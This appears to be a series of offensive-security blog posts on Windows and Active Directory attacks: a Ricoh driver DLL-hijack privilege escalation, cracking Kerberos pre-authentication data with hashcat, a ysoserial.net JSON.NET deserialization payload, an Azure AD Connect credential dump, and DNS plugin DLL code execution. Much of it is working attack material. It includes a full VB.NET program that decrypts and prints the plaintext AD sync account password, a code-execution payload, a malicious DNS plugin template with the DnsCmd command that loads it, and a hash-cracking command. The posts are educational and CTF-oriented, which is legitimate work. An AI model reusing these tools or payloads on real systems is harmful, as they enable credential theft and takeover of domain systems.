Ricoh Printer Exploit (Priv Esc To Local System)

This is going to be a bit of a weird post, because this priv esc exploit isn’t actually a successful exploit yet if you’re attacking a server OS – unless you can get into the Print Operators group. It works perfectly well on a workstation OS though so still worth bringing to people’s attention.

First of all, read this: https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/

TL;DR:

  • A few Ricoh printer driver DLLs have “Everyone – Full Control” permissions by default
  • When a new printer is added using this driver, the print spooler service (which runs as Local System) will load these DLLs
  • Due to the bad permissons on the DLLs, any user can replace one of them with a malicious DLL. Then they can add a new local printer using the existing driver and at this point the malicious DLL will get loaded by the print spooler service. So now you’ve got your code being executed as Local System
  • Regular users have permission to add new printers as long as they use a  driver that is already installed (so this exploit only works if one of the vulnerable drivers is already installed, as regular users cannot install new drivers)

So if you’re attacking a workstation, you’re good. There’s even a metasploit module that will do all the work for you as usual.

For a server OS though, there’s a problem…

I tried to use this on a Windows Server 2019 machine that had the vulnerable driver installed and it failed. After some testing I discovered that this is because users do not have permission to add printers on a server, even if the driver is already installed. Recall from the bullet points above that we need to add a printer to trigger the print spooler service to load our malicious DLL.

In fact on a server OS, a regular user can’t even run the Powershell command Get-Printer to see a list of printers installed on the system:

The first thing I noticed in both the POC and the metasploit module code is that neither of them call the Windows AddPrinter API directly. The metasploit code calls the built in prnmngr.vbs script (which internally uses WMI) and the POC calls the PrintUIEntry function with rundll32.exe.

So just to make sure this permissions issue was not being caused by something in any of those scripts, I wrote a program that will call the AddPrinter API directly. I also made it call the EnumPrinters API to see if we can at least list existing printers, as even that fails with access denied when tried from Powershell as a non admin user.

Nothing crazy but for what its worth, the full code can be found on my github here: https://github.com/VbScrub/VbAddPrinter

Both of these operations worked perfectly fine as a regular user on my Windows 10 machine. So I moved them over to the target machine which is running Windows Server 2019 but there adding a printer fails with Access Denied:

The enum part of my program does succeed though, so at least we bypassed the Get-Printer access denied issue by calling the EnumPrinters API directly:

I noticed if we replace the original driver’s watermark.dll with a malicious DLL and then do anything that would cause it be accessed, the genuine DLL gets instantly copied back to the directory and overwrites our malicious DLL. This must be why in the original POC they are monitoring the file system for changes to detect when the original DLL gets copied back and then they quickly replace it again with the malicious DLL before it actually gets loaded by the print spooler service. I’ve implemented something similar using the .NET FileSystemWatcher class:

This worked as expected and now our malicious DLL always ends up being loaded instead of the original DLL (although making the program copy the DLL a few hundred times to make sure it sticks was maybe a bit overkill).

So now we have our malicious DLL in place, the problem is that we can only get it to be loaded by a process running as our regular user and not a system service. For example when we try to print to the printer from notepad or access the printer properties etc, our malicious DLL does get loaded but it is loaded by the notepad.exe process which is obviously running as our regular user and not Local System. So it seems like the only time the print spooler service loads these DLLs is when adding a new printer.

One other thing I noticed was that when we fail to add a new printer as a normal user, we see this in the Process Monitor stack trace:

When we do the same thing but as an admin, we don’t see this “AddPrinterCompletedInProc” function and instead we see a load of RPC calls. So I tried using the Samba RPC Client to call the AddPrinter RPC function directly (in the hopes that maybe we bypass the permissions check that is causing it to fail before it tries the RPC stuff), but this also fails with access denied:

I assumed the print spooler service would load all of the printer DLLs when it starts up, so perhaps we could crash the service and then when it auto restarts it would load our DLL. Unfortunately when I restarted the service I found it did not load any of these DLLs. To me it seems quite strange that it even loads the watermark DLL at all when the user adds a printer, because the print spooler service itself doesn’t seem to actually need it (otherwise it would load it itself when a user prints, or when the service starts).

One final weird observation is that in my tests I could only get the attack to work even with the user in the Print Operators group if the driver was set to run in isolated mode. This makes the print spooler service start a separate PrintIsolationHost.exe process when the driver is used and it is that process that loads the watermark.dll when we add a printer. No such issues on a workstation though (which is good as there’s no easy way to specify driver isolation there AFAIK)

In summary: Whilst this works perfectly on a Windows 10 machine, I couldn’t get it to work on a server OS as a regular user unless they were a member of the Print Operators group. Hopefully someone else can take my findings and finish the job 🙂

Getting Passwords From Kerberos Pre-Authentication Packets

If you’ve watched my video on Kerberos Pre-Authentication and how Impacket’s GetNPUsers script takes advantage of that being disabled, you’ll be aware that by default user accounts are not vulnerable to this kind of attack. I also mentioned in the video that in 8 years of Windows network admin in various organisations, I’ve never actually seen anyone disable kerberos pre-auth. So in the real world, 99% of the time we’re probably going to come up against accounts where pre-auth is enabled and we can’t use something like the GetNPUsers script. However, the pre-auth feature itself actually gives us another avenue of attack.

Think about what we’re doing when we exploit pre-auth being disabled (watch my video if you’re unsure of how it works, linked below). With pre-auth disabled we’re not actually getting the user’s password or even a hash of it sent to us – we’re just getting some data that was encrypted using the user’s password as the encryption key. Then we are just brute forcing that encrypted data with a word list, until we find a password in that list that gives us valid data when we use it to decrypt the encrypted data.

Now think about what pre-authentication does. It encrypts the current time and sends it to the server (as part of the initial kerberos AS-REQ packet) but it encrypts it using the user’s password as the encryption key.

Are you starting to see where this is going? We can just do the same thing we were doing before – brute force that encrypted data with a word list until we get valid data decrypted.

There is a big caveat to this though, and that is that we need to capture network packets of a user authenticating with Kerberos first before we have this encrypted data. Not always the easiest thing to do… but if you do ever find you’re in a situation where you can either capture network traffic between machines, or have something like a Wireshark packet capture file that contains some kerberos auth packets in it, then you can perform this kind of attack and get the user’s password. This of course is assuming they don’t have a real long complex one that your word list / password cracker combo cannot guess in a reasonable amount of time (but the same applies for the original GetNPUsers method when pre-auth is disabled too).

Let’s look at an example. Here we have a wireshark capture from a user just accessing an SMB share on their network and I’ve highlighted the part we are interested in (encrypted data timestamp used for pre-auth):

I started looking into exactly how to crack this data with hashcat and found this blog post: https://improsec.com/tech-blog/asreqroast-from-mitm-to-hash

However, their method did not work for me. It looks like their example data that can be cracked with hashcat mode 7500 is using the RC4 encryption type (kerberos encryption type 23).

In our example though we can see that the encryption mode being used is 18 (which wireshark handily tells us means AES-256).

So we can’t use hashcat mode 7500 as that is expecting the RC4 encryption type, which we know because the example hash on the hashcat site has 23 as its second parameter. I did try running mode 7500 but with 18 as the second parameter just in case, but as expected that fails.

The mode we want to use is 19900 as that is described as “Kerberos, etype 18, Pre-Auth”. Sounds like exactly what we want! Unfortunately when I tried to use that mode, I just get told the mode does not exist.

Turns out this mode is only available in the BETA version of hashcat, which can be downloaded here: https://hashcat.net/beta/

After downloading that, I was able to use mode 19900 and paste in our cipher text that we see in the wireshark trace:

hashcat.exe -m 19900 "$krb5pa$18$tstar$SCRM.LOCAL$743757ff43af01f3670b5d152c8d6b24270890ac42f8e40aa11c25f4963a820b
0c35f320a9f6964128db578e8f6964d21a3313a765ab52a5" rockyou.txt

As you can see, we get the user’s password! In this example it was just “passw0rd”.

The other text that we passed in before the cipher text ($krb5pa$18$tstar$SCRM.LOCAL$) is a list of parameters for hashcat to use, separated by a $ symbol.

The first two are just part of the hashcat format for this hash type. Krb5pa meaning kerberos 5 pre-auth, and 18 meaning kerberos encryption type 18 (AES-256) as discussed above. The next part is the username (which we can get from examining the rest of the kerberos AS-REQ packet in wireshark) and the last part is the domain name (again is just in plain text in other parts of the kerberos packet).

So there we go. Even if pre-auth is enabled, we can still easily get passwords as long as we have a way to capture network traffic.

For more info on kerberos pre-auth, see my video here:

EDIT: I’ve also now released a video covering all of the information in this article:

Active Directory Basics Video

I see a lot of people in the CTF community saying AD/LDAP is their weakness and that they don’t know much about it. So I made this video to explain all of the basics to someone that has pretty much zero experience with AD. There will be more in depth videos on specific topics coming soon, but I figured it would be good to get these fundamental concepts explained first. Enjoy!

Impacket’s GetNPUsers Script Explained

I’ve seen a lot of people using this tool in various CTF challenges but not really having any idea how or why it works. So I put together this video explaining it in detail. Enjoy!

HackTheBox – JSON [Video Walkthrough]

Here is the first of many HTB machine video guides that I will be releasing. Today the JSON machine was retired so that’s what we are taking a look at in this video.

Rather than just tell you what to type and click on to get the user/root flag, these videos are going to be focused on the reasons why I’m doing those things and exactly how the exploits work. So in this first one we’re taking an in depth look at exactly how the ysoserial.net JSON deserialization exploit works (already covered in a previous blog post, but I’m sure some people will find the video much easier to follow).

As this is my first video like this, I’d really appreciate any feedback you have (post it in the comments on youtube). If you found the video interesting/useful but don’t want to leave a comment, just hit the like button so I know I’m on the right track. Of course if you want to see more videos like this you can hit the subscribe button.

Part 2 is also now up, showing 3 different methods to get root:

.NET Deserialization Exploits Explained

Tools like ysoserial.net will generate a .NET deserialization payload for you to send to a remote server and give you remote code execution… but how and why does this actually work?

In this example we will look at a JSON.NET exploit specifically, but the same concepts should apply to the majority of deserialization exploits like this.

What Exactly Is Deserialization?

The first thing to note about this whole process is that essentially serialization is just a fancy word for converting objects in a program’s memory into another format that is easier to share or send over the network. These “serialized” formats are usually quite easy for humans to read, especially when compared to the raw binary format they are stored as in memory. XML and JSON are common examples of these easy to read serialization formats.

Deserialization is, as the name suggests, the opposite process. Converting back from XML/JSON/etc into a .NET object in memory that the program can work with.

For example in a program we might have a class named Person that is used to represent customers. It could look like this in .NET code:

Public Class Person

      Public Property Id As Integer
      Public Property FirstName As String
      Public Property Surname As String

End Class

Now when an instance of this class gets “serialized” into JSON format, it is just sent as plain text that looks like this:

{
 "Id":37,
 "FirstName":"Steve",
 "Surname":"Thompson"
}

How Do We Exploit This?

Let’s assume our target is running a .NET program/website that has some way of receiving data in this JSON format over the network (perhaps through a HTTP header on a website). When the data reaches the server, it will be converted (deserialized) back from the JSON text into an instance of the Person class that the .NET code can use.

If the process responsible for this conversion has not been properly configured, we are able to specify which .NET class this should be converted back into instead of it being converted back into the Person class. Of course the server will error out because it did not receive the type of data it expected, but it won’t matter at that point because with the correct payload our malicious code will have already been executed. So how can we generate such a payload and why does it work?

Ysoserial.Net Payloads Explained

First of all, let’s take a look at the actual payload ysoserial.net generates for a JSON.NET deserialization exploit if we tell it we want to launch calc.exe:

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd.exe','/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

This is perfectly valid JSON data as it is in the correct format and is just specifying values for properties, so the server will try to parse it construct a .NET object from it.

The server is of course expecting this data to be a JSON version of the Person class, but because of bad configuration (specifically this property not being set to None) we are able to specify our own class that it should be converted into. So that is what the first line in the payload is doing – just setting the type/class of this object. We are telling the server not to create a Person type object from this data, but instead it should create an ObjectDataProvider type object. Everything in the first line after $type is just specifying the full path and unique identifier of this ObjectDataProvider class that we want to get created.

The rest of the payload is telling the server that this ObjectDataProvider has an instance of the Process class within it and that it should call the Start function on it, passing in the arguments “cmd.exe” and “/c calc.exe” so that it launches that as the new process.

This is indeed how you would normally launch a new process from .NET code, but you would just use Process.Start("cmd.exe", "/c calc.exe") directly instead of using this other class. You can read more about the ObjectDataProvider class in the MS documentation here but I’ll explain why it is useful for us.

Why Use ObjectDataProvider?

So why not just directly use the Process class on its own since that’s what actually launches a new process for us? Well the problem with that is there’s nothing that will make the server actually call the Start function on the Process class. Remember the server is just expecting to receive data here, not code execution instructions. As such, all we can set are properties. We can’t call functions.

That’s where this weird and wonderful class known as ObjectDataProvider comes in. It is meant to be used for data binding in WPF applications, but don’t worry if that means nothing to you. All you need to know about it is that it has the ability to call any function we specify as soon as certain properties on it are set. So this gets around our problem of not being able to call functions with our JSON data, as we can set properties on this ObjectDataProvider class and it will indirectly call functions for us.

Coming back to our example – when the server is deserializing our data it will create an instance of the class we specified and it will start setting the properties on it as per the JSON data we supplied. If you refer back to the ysoserial.net payload above, you’ll see that we are telling the server to create an ObjectDataProvider, and set the MethodName, MethodParameters, and ObjectInstance properties on it. The actual .NET code and values it will be using as it deserializes our JSON payload would look something like this:

        Dim odp As New System.Windows.Data.ObjectDataProvider
        odp.MethodName = "Start"
        odp.MethodParameters.Add("cmd.exe")
        odp.MethodParameters.Add("/c calc.exe")
        odp.ObjectInstance = New System.Diagnostics.Process

Bizarrely, that is all that is needed to actually cause the Process.Start function to be called. If you just run that code above in your own .NET project, you’ll see cmd.exe and calc.exe launch even though you’re never actually calling any functions! Just setting the ObjectInstance property makes it refresh itself and instantly call the function name specified in the MethodName property. So as soon as that happens as part of the deserialization process, our new process gets started and we have our remote code execution 🙂

TL;DR

This post got pretty long, so here a quick summary of how the exploit works:

  1. The way JSON.NET is configured on the web server allows the incoming JSON data to specify what .NET type it should be converted to.
  2. We send some JSON data that tells the server it should be converted into the ObjectDataProvider class (by setting the $type property in the first line of our data).
  3. The server creates an instance of ObjectDataProvider and then populates it with the rest of the JSON data we provided.
  4. The data provided in our payload states that this ObjectDataProvider instance has a System.Diagnostics.Process in its “ObjectInstance” property, as well as the “Start” function in its “MethodName” property.
  5. Because of the way ObjectDataProvider is meant to be used in WPF applications for data binding, as soon as the ObjectInstance property is set it will execute whatever function it was told to execute by the MethodName property. Our remote code execution is complete!
  6. The server will error out at this point because it was expecting the deserialized data to be in the format of the Person class with an Id, FirstName, Surname property, but what it actually got was totally different. This doesn’t matter at this point though, because our code has already been executed.

Further reading:

https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

EDIT: I’ve now made a video covering this same topic so check that out if you still have any confusion about how exactly this all works:

Installing Impacket On Windows

I found a couple of guides online about how to get the python Impacket scripts working on Windows, but they didn’t quite work for me (on Windows 7 x64) so here’s what I ended up having to do:

  1. Download and install the X86 version of Python 2.7 from here (has to be version 2.x, not version 3.x): https://www.python.org/download/releases/2.7/
  2. Download and install the Win32 version of PyCrypto for Python 2.7 from here: http://www.voidspace.org.uk/python/pycrypto-2.6.1/pycrypto-2.6.1.win32-py2.7.msi
  3. Open command prompt as Administrator and run the following commands:
pip install pyasn1
pip install pyasn1-modules
pip install impacket

After that you should be good to go, and if you navigate to C:\Python27\Scripts you can run the Impacket scripts like GetNPUsers.py or GetUserSPNs.py etc

The important part that got this all working for me was the pip install pyasn1-modules command. The other guide I found online did not include that, so whenever I tried to run an Impacket script I got an error stating “No module named pyasn1.codec.der”. Once I had done the pyasn1-modules install though, then ran the impacket install again, all worked fine.

One other tip is to add the C:\Python27 directory and the C:\Python27\Scripts directory to your PATH environment variable. There’s plenty of guides online about how to do that if you’re not sure. Once you’ve done this then you can run the Impacket scripts from anywhere and don’t have to navigate to the C:\Python27\Scripts folder first.

Azure AD Connect Database Exploit (Priv Esc)

The Azure AD Connect service is essentially responsible for synchronizing things between your local AD domain, and the Azure based domain. However, to do this it needs privileged credentials for your local domain so that it can perform various operations such as syncing passwords etc. I recently discovered this great video that explains where it stores these credentials and how to decrypt them.

TL;DR: Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!

Initially I thought I would have to repeat all of the steps they performed in the video (decompiling and watching API calls etc) to produce my own code that exploits this… but it turns out the presenter (Fox-It) was kind enough to provide this Github repo demonstrating exactly how to perform such an attack in C#.

There’s also this blog post by XPN InfoSec that provides more info as well as a working Powershell alternative.

Anyway, I thought I’d also have a go at writing my own version and compile it so its super easy to use and also gives you the option to choose between attacking an SQLExpress “LocalDb” database or a full fat SQL Server instance. Fox-It mentioned he had a download link for his compiled program in the Github readme, but I couldn’t get it to download (he also mentioned the way credentials are stored has changed recently so his code might not work now). I knew the Powershell script worked fine after changing the SQL connection string when I tested it myself, so I used that as my base and wrote a similar utility in VB.NET.

There’s a download link for my compiled program at the bottom of this page but here’s the code for anyone interested:

Imports Microsoft.DirectoryServices.MetadirectoryServices.Cryptography
Imports System.Data.SqlClient
Imports System.Xml
Module MainModule

    Sub Main()
        Try
            Console.WriteLine(Environment.NewLine & "======================" & Environment.NewLine &
                              "AZURE AD SYNC CREDENTIAL DECRYPTION TOOL" & Environment.NewLine &
                              "Based on original code from: https://github.com/fox-it/adconnectdump" & Environment.NewLine &
                              "======================" & Environment.NewLine)

            Dim SqlConnectionString As String = "Data Source=(LocalDB)\\.\\ADSync;Initial Catalog=ADSync;Connect Timeout=20"

            If My.Application.CommandLineArgs.Count > 0 AndAlso String.Compare(My.Application.CommandLineArgs(0), "-FullSql", True) = 0 Then
                SqlConnectionString = "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
            End If

            Dim KeyId As UInteger
            Dim InstanceId As Guid
            Dim Entropy As Guid
            Dim ConfigXml As String
            Dim EncryptedPasswordXml As String

            Using SqlConn As New SqlConnection(SqlConnectionString)
                Try
                    Console.WriteLine("Opening database connection...")
                    SqlConn.Open()
                    Using SqlCmd As New SqlCommand("SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;", SqlConn)
                        Console.WriteLine("Executing SQL commands...")
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            Reader.Read()
                            InstanceId = DirectCast(Reader("instance_id"), Guid)
                            KeyId = CUInt(Reader("keyset_id"))
                            Entropy = DirectCast(Reader("entropy"), Guid)
                        End Using
                    End Using
                    Using SqlCmd As New SqlCommand("SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'", SqlConn)
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            Reader.Read()
                            ConfigXml = CStr(Reader("private_configuration_xml"))
                            EncryptedPasswordXml = CStr(Reader("encrypted_configuration"))
                        End Using
                    End Using
                Catch Ex As Exception
                    Console.WriteLine("Error reading from database: " & Ex.Message)
                    Exit Sub
                Finally
                    Console.WriteLine("Closing database connection...")
                    SqlConn.Close()
                End Try
                Try
                    Console.WriteLine("Decrypting XML...")
                    Dim CryptoManager As New KeyManager
                    CryptoManager.LoadKeySet(Entropy, InstanceId, KeyId)
                    Dim Decryptor As Key = Nothing
                    CryptoManager.GetActiveCredentialKey(Decryptor)
                    Dim PlainTextPasswordXml As String = Nothing
                    Decryptor.DecryptBase64ToString(EncryptedPasswordXml, PlainTextPasswordXml)
                    Console.WriteLine("Parsing XML...")
                    Dim Domain As String = String.Empty
                    Dim Username As String = String.Empty
                    Dim Password As String = String.Empty
                    Dim XmlDoc As New XmlDocument
                    XmlDoc.LoadXml(PlainTextPasswordXml)
                    Dim XmlNav As XPath.XPathNavigator = XmlDoc.CreateNavigator
                    Password = XmlNav.SelectSingleNode("//attribute").Value
                    XmlDoc.LoadXml(ConfigXml)
                    XmlNav = XmlDoc.CreateNavigator
                    Domain = XmlNav.SelectSingleNode("//parameter[@name='forest-login-domain']").Value
                    Username = XmlNav.SelectSingleNode("//parameter[@name='forest-login-user']").Value
                    Console.WriteLine("Finished!" &
                                      Environment.NewLine & Environment.NewLine &
                                      "DECRYPTED CREDENTIALS:" & Environment.NewLine &
                                      "Username: " & Username & Environment.NewLine &
                                      "Password: " & Password & Environment.NewLine &
                                      "Domain: " & Domain & Environment.NewLine)
                Catch ex As Exception
                    Console.WriteLine("Error decrypting: " & ex.Message)
                End Try
            End Using
        Catch ex As Exception
            Console.WriteLine("Unexpected error: " & ex.Message)
        End Try
    End Sub

End Module

and when we run it on a machine that has the Azure AD Connect database on it, we get the AD account’s credentials in plain text (obviously I’ve blurred out the actual password, but you get the idea):

Usage:

AdDecrypt.exe (with no parameters)

Will attempt to access the ADSync database on the default SQLExpress “LocalDb” instance

AdDecrypt.exe -FullSQL

Will attempt to access the ADSync database on a full fat MS SQL instance using windows authentication (the actual connection string used is: “Server=LocalHost;Database=ADSync;Trusted_Connection=True;” )

This program must be run while the AD Sync Bin folder is your “working directory”, or has been added to the PATH variable. An easy way to do this is simply navigate to the folder in Powershell or Command Prompt (i.e cd “C:\Program Files\Microsoft Azure AD Sync\Bin”), and then run the program by typing the full path to wherever you have stored it. You also need to make sure the mcrypt.dll from the download link is in the same directory the program is in. Failure to do either of these things will result in a Module Not Found error.

Download link: https://github.com/VbScrub/AdSyncDecrypt/releases

Hope that helps someone 🙂 and again a big shout out to the guys at Fox-IT that figured all of this out originally, and the guys at XPN InfoSec who put together the Powershell script and some further explanation.

DNS Server Plugin DLL Example (DnsPluginInitialize etc)

There’s a great blog post from Shay Ber on this subject already, but when I tried to follow along myself I hit a few stumbling blocks with the C++ parts as I’ve got no experience with that language (and after using it, my god I realise how spoiled we are with languages like C#.NET).

Anyway, here’s what I ended up doing to make it all work for me:

//DnsPlugin.h file

#define DNSPLUGIN_API extern "C" __declspec(dllexport)

DNSPLUGIN_API int DnsPluginInitialize(PVOID, PVOID);
DNSPLUGIN_API int DnsPluginCleanup();
DNSPLUGIN_API int DnsPluginQuery(PVOID, PVOID,PVOID,PVOID);
//DnsPlugin.cpp file

DNSPLUGIN_API int DnsPluginInitialize(PVOID a1, PVOID a2) { 
	doStuff(); //Runs as LOCAL SYSTEM
	return 0;
}

DNSPLUGIN_API int DnsPluginCleanup(){
	return 0;
}

DNSPLUGIN_API int DnsPluginQuery(PVOID a1,PVOID a2,PVOID a3,PVOID a4){
	return 0;
}

A few notes:

I changed the target architecture to X64 instead of X86, as all versions of Windows Server since 2008 have been x64 only (plus I had some weird compiler errors when targeting Win32 that magically went away when I changed to X64).

In Shay’s original code example he mentions having to use a linker export option to get the correct function signature exported for the DLL, but I had a lot of issues with copying his method and ended up just using this instead as you can see in the code above:

#define DNSPLUGIN_API extern "C" __declspec(dllexport)

I also found that the DNS service would crash with a “module not found” error when trying to load my DLL at first, because it didn’t have the correct C++ runtime installed so it couldn’t find MSVCR100.dll. A simple solution to that was to change the project properties to “Multi threaded /MT” instead of the default “Multi threaded DLL /MD”. Again I’m very new to C++ but from what I gather this means that the dependency on MSVCR100 will be embedded in the DLL and not dynamically linked to at runtime, so now the target server doesn’t need to have the correct version of C++ runtime installed.

So yeah, once I had done all that I copied my DLL over to the target machine where I only had DnsAdmin rights and used this command:

DnsCmd /Config /ServerLevelPluginDll "C:\PathToDnsPlugin.dll"

Alternatively you can use a UNC path, so you could make a share on your PC and then have it point to that (if you can’t copy files to the target machine).

Now we restart the DNS service, and it worked! Any code I put in the “doStuff” function in my code above will be executed as Local System.